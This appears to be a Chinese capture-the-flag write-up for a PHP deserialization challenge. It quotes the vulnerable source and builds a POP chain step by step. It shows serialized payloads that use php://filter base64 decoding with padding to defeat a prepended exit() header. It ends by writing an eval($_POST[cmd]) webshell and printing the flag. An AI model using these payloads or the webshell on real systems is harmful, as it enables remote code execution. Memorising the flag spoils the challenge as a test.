题目
此题目来源于投稿
PHP Web 应用里的 FileCache 类被反序列化触发写文件时,非要在内容开头加句exit;搞破坏,导致代码没法执行,快想办法躲开这个 "拦路虎"


php
<?php
error_reporting(0);
highlight_file(__FILE__);
class AuditLog {
public $handler;
public function __construct() {
$this->handler = new SystemStatus();
}
public function __toString() {
return $this->handler->process();
}
}
class FileCache {
public $filePath;
public $content;
public function __construct($path = '', $data = '') {
$this->filePath = $path;
$this->content = $data;
}
public function process() {
$security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
$final_data = $security_header . $this->content;
file_put_contents($this->filePath, $final_data);
return "Cache Saved.";
}
}
class SystemStatus {
public function process() {
if(file_exists('./system_config.php')) {
include('./system_config.php');
}
return "System logic normal.";
}
}
$payload = $_POST['data'];
if(isset($payload)){
echo unserialize($payload);
}
else{
echo "Invalid data stream.";
}
?> Invalid data stream.
解题过程
POP 链初步测试:触发默认返回值
触发 SystemStatus::process () 返回
构造序列化 payload,使 AuditLog 的 handler 指向 SystemStatus 对象。
python
<?php
class AuditLog {
public $handler;
}
class SystemStatus {}
$obj = new AuditLog();
$obj->handler = new SystemStatus();
echo serialize($obj);
?>
生成 Payload:
bash
O:8:"AuditLog":1:{s:7:"handler";O:12:"SystemStatus":0:{}}
POST 提交data参数,页面输出:System logic normal.

触发 FileCache::process () 返回
构造序列化 payload,使 AuditLog 的 handler 指向 FileCache 对象。
python
<?php
class AuditLog {
public $handler;
}
class FileCache {
public $filePath;
public $content;
}
$obj = new AuditLog();
$obj->handler = new FileCache();
// 随便赋值,不影响return
$obj->handler->filePath = "test.php";
$obj->handler->content = "test";
echo serialize($obj);
?>
生成 Payload:
bash
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:8:"test.php";s:7:"content";s:4:"test";}}
POST 提交后输出:Cache Saved.


绕过死亡头部:php://filter + Base64 写入
直接写入 PHP 代码会被前置的<?php exit();?>拦截,使用 Base64 解码流绕过。
写入 phpinfo 测试

python
<?php
class AuditLog {
public $handler;
}
class FileCache {
public $filePath;
public $content;
}
$obj = new AuditLog();
$obj->handler = new FileCache();
// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "PD9waHAgcGhwaW5mbygpOz8+";
echo serialize($obj);
?>
- 写入 phpinfo 测试
bash
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}}
直接访问shell.php出现乱码,原因:前置死亡代码污染 Base64 解码。

解决乱码问题
python
<?php
class AuditLog {
public $handler;
}
class FileCache {
public $filePath;
public $content;
}
$obj = new AuditLog();
$obj->handler = new FileCache();
// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgcGhwaW5mbygpOz8+";
echo serialize($obj);
?>
bash
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:27:"AAAPD9waHAgcGhwaW5mbygpOz8+";}}


终极解决:Base64 长度对齐(解决乱码)
前置字符串长度不满足 Base64 对齐规则,补充字符修正长度,实现纯净写入。
一句话木马编码
bash
<?php @eval($_POST[cmd]); ?>
Base64 编码:
bash
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==

构造最终 Payload
python
<?php
class AuditLog {
public $handler;
}
class FileCache {
public $filePath;
public $content;
}
$obj = new AuditLog();
$obj->handler = new FileCache();
// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";
echo serialize($obj);
?>
最终 Payload:
bash
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:43:"AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";}}
POST 提交data参数,页面输出:Cache Saved.

连接 Webshell 获得 Flag



答案
qsnctf{177cc428697e461da33a0e8861759e94}